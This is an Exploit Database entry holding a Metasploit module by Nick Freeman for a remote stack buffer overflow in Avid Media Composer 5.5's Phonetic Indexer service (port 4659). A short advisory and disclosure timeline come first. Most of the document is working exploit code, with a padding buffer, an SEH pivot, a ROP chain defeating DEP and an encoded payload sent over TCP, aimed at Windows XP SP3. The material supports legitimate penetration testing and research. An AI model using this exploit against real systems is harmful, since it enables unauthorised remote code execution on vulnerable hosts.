AVID Media Composer Phonetic Indexer – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 96 阅读

• 作者： Nick Freeman
  日期： 2011-12-01
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18183/

• #Name :AVID Media Composer Phonetic Indexer Remote Stack Buffer Overflow 
  #Vendor Website : http://www.avid.com
  #Date Released : November 29, 2011 
  #Affected Software : AVID Media Composer <= 5.5.3 Researcher
  #Researcher : Nick Freeman (nick.freeman@security-assessment.com)
  
  #Description
  #Security-Assessment.com discovered a remote stack buffer overflow vulnerability in a network daemon that #ships with Avid Media Composer 5.5, named AvidPhoneticIndexer.exe. By sending a large request to the #listening network service, it is possible to overwrite the stack of the process and gain arbitrary code #execution.
  
  #Solution
  #No patch is available for this vulnerability at this time. Host and network based firewalling are #recommended as workarounds to limit the exposure of the vulnerable service.
  
  #Disclosure timeline
  #Security-Assessment.com practices responsible disclosure and made significant effort to report this #vulnerability to AVID.
  #14/05/11: Vulnerability identified.
  #17/05/11: Avid Media Composer 5.5.2 released.
  #26/05/11: Attempted calling, left voicemail and emailed the AVID Application Security Management team.
  #Early June 2011: Called members of the AVID Media Composer Development team.
  #Early-Mid June 2011: Emailed AVID Media Composer Product Management team, who indicated that they were aware #of the vulnerabilities before I had explained the nature of the issues. AVID explained that all #vulnerabilities were in the process of being resolved. Security-Assessment.com suggested collaboration to #ensure all issues were being identified, but AVID was not interested in pursuing this.
  #17/08/11: Avid Media Composer 5.5.3 released. Vulnerability still present.
  #05/11/11: Vulnerability released at Kiwicon V in Wellington, New Zealand.
  #19/11/11: Vulnerability released at Ruxcon 2011 in Melbourne, Australia.
  #29/11/11: Vulnerability advisory and exploit code published.
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in process AvidPhoneticIndexer.exe (port 4659),
  				which comes as part of the Avid Media Composer 5.5 Editing Suite. This daemon sometimes starts on a
  				different port; if you start it standalone it will run on port 4660.
  			},
  			'License'=> MSF_LICENSE,
  			'Version'=> "$Revision: 13137 $",
  			'Author' =>
  				[
  					'vt [nick.freeman@security-assessment.com]', 
  				],
  			'References' =>
  				[
  					[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Remote_Stack_Buffer_Overflow.pdf' ],
  				],
  			'Payload'=>
  				{
  					'Space'=> 1012,
  					'BadChars' => "\x00\x09\x0a\x0d\x20",
  					'DisableNops' => true,
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  					'EncoderOptions' =>
  						{
  							'BufferRegister' => 'EAX',
  						}
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP Professional SP3', {} ],
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Nov 29 2011",
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					Opt::RPORT(4659),
  				], self.class)
  	end
  
  	def exploit
  
  		junk = 'A' * 216 
  		sehpivot = "\xeb\x35\x8b\x02" #0x028B35EB :# ADD ESP,1800 # RETN 
  		junk2 = 'A' * 732
  
  		rop_gadgets = [
  		
  				# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!) - a non-sayonara ROP would be super easy too, I'm just lazy :)
  				0x7C344CC1,# pop eax;ret;
  				0x7C3410C2, # pop ecx;pop ecx;ret;
  				0x7C342462, # xor chain; call eax {0x7C3410C2}
  				0x7C38C510, # writeable location for lpflOldProtect
  				0x7C365645, # pop esi;ret;
  				0x7C345243, # ret;
  				0x7C348F46, # pop ebp;ret;
  				0x7C3487EC, # call eax 
  				0x7C344CC1, # pop eax;ret; 
  				0xfffffbfc, # {size}
  				0x7C34D749, # neg eax;ret; {adjust size}
  				0x7C3458AA, # add ebx, eax;ret; {size into ebx}
  				0x7C3439FA, # pop edx;ret; 
  				0xFFFFFFC0, # {flag}
  				0x7C351EB1, # neg edx;ret; {adjust flag}
  				0x7C354648, # pop edi;ret;
  				0x7C3530EA, # mov eax,[eax];ret;
  				0x7C344CC1, # pop eax;ret;
  				0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
  				0x7C355AEB, # sub eax,30;ret;
  				0x7C378C81, # pushad; add al,0xef; ret;
  				0x7C36683F, # push esp;ret;
  		].pack("V*")
  		
  		# need to control a buffer reg for the msf gen'd payload to fly. in this case:
  		bufregfix = "\x8b\xc4" 		# MOV EAX,ESP
  		bufregfix += "\x83\xc0\x10" 	# ADD EAX,10 
  		
  		connect
  		sploit = junk + sehpivot + junk2 + rop_gadgets + bufregfix + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded 
  		sock.put(sploit)
  		handler
  		disconnect
  	end
  end
  

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